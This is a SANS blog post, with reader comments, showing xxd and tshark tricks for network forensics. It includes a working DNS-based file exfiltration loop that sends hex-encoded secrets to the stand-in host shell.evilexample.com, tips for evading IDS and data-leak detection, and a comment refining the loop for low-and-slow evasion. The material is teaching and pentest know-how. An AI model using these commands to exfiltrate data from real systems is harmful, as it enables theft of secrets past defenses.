Packet Tricks with xxd
I just got done teaching For 558, our relatively new Network Forensics class. Great students and some great side discussions. One of this side discussions involved 'xxd', a tool that can be used to create a hex dump from a binary file or reverse a hex dump back into a binary file. For example:
xxd index.html | head -1
0000000: 3c21 444f 4354 5950 4520 6874 6d6c 200a <!DOCTYPE html .
The tool is even flexible enough to be used in vi (try: vi -b with %!xxd or %!xxd -r to "undo" it before saving)
The tool is very handy, two uses that came up in class:
1. Stripping headers and extracting data from a covert channel.
One method to establish a covert channel is to take the original packet, and wrap it into an encapsulating header. For example an ICMP or a DNS packet. The trick is to extract the payload, save it in a new file, and treat it as a new packet capture. The 'packetstan' blog [1] outlines one way to do so via scapy. But scapy is not as commonly installed and available as other tools like for example tshark (and well, xxd).
tshark can easily be used to extract the payload in hexadecimal format:
tshark -T fields -e data
to convert the hexadecimal payload into a binary files, just run it through xxd:
tshark -T fields -e data | xxd -r -p
The "-p" option will just accept a stream of hexadecimal data, without it, xxd expects it to be encoded in the very specific format usually see with xxd.
2. File transfer via DNS
Another nice idea I demoed in class is a file transfer via DNS that works without special tools. For pentesters, this is helpful as it will first of all sneak past many firewalls, and secondly you do not need to install any special tools that may be picked up by anti-malware.
This idea is along the lines of what is discussed in Kevin Bong's SANS Master's project [2].
First, we convert the file to be transferred via xxd into a hex stream.
xxd -p secret > file.hex
next, we read each line from file.hex, and "transmit" it as a DNS query.
for b in `cat file.hex `; do dig $b.shell.evilexample.com; done
This does not need special privileges. On the DNS server, we can capture the messages via tcpdump or the query log.
tcdpump -w /tmp/dns -s0 port 53 and host system.example.com
Then, we extract the messages from the packet capture
tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d' ' | cut -f1 -d'.' | uniq > received.txt
The "uniq" may not be necessary, but I find that the DNS messages may be resend once in a while if the response isn't fast enough.
Finally, just reverse the hex encoding:
xxd -r -p < receivedu.txt > keys.pgp
And you are done! FTDNS (File Transfer via DNS) without installing any special tools on "system.example.com"
Bonus: shorter lines from xxd and maybe a quick xor may make it even harder for an IDS/Data Leakage system to "see" this kind of data.
Defense: Watch you DNS logs!
[1] http://www.packetstan.com/2010/11/packet-payloads-encryption-and-bacon.html
[2] http://sans.edu/student-files/presentations/ftp_nslookup_withnotes.pdf
------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter
Application Security: Securing Web Apps, APIs, and Microservices | Online | US Eastern | Jan 27th - Feb 1st 2025 |
Comments
MetaKhan
Jan 25th 2011
1 decade ago
Carl Benedict
Jan 26th 2011
1 decade ago
seq=0; for chunk in `cat file.hex`; do ((seq=$seq+1)); fseq=`printf "%04d" $seq`; dig +short ${chunk}.${fseq}.subdomain.domain.tld; done
We could even embed checksum info in there too, if we wanted. And, of course, we could vary the chunk size and the query timing to fly low and slow in order to evade detection further...
Sam
Jan 28th 2011
1 decade ago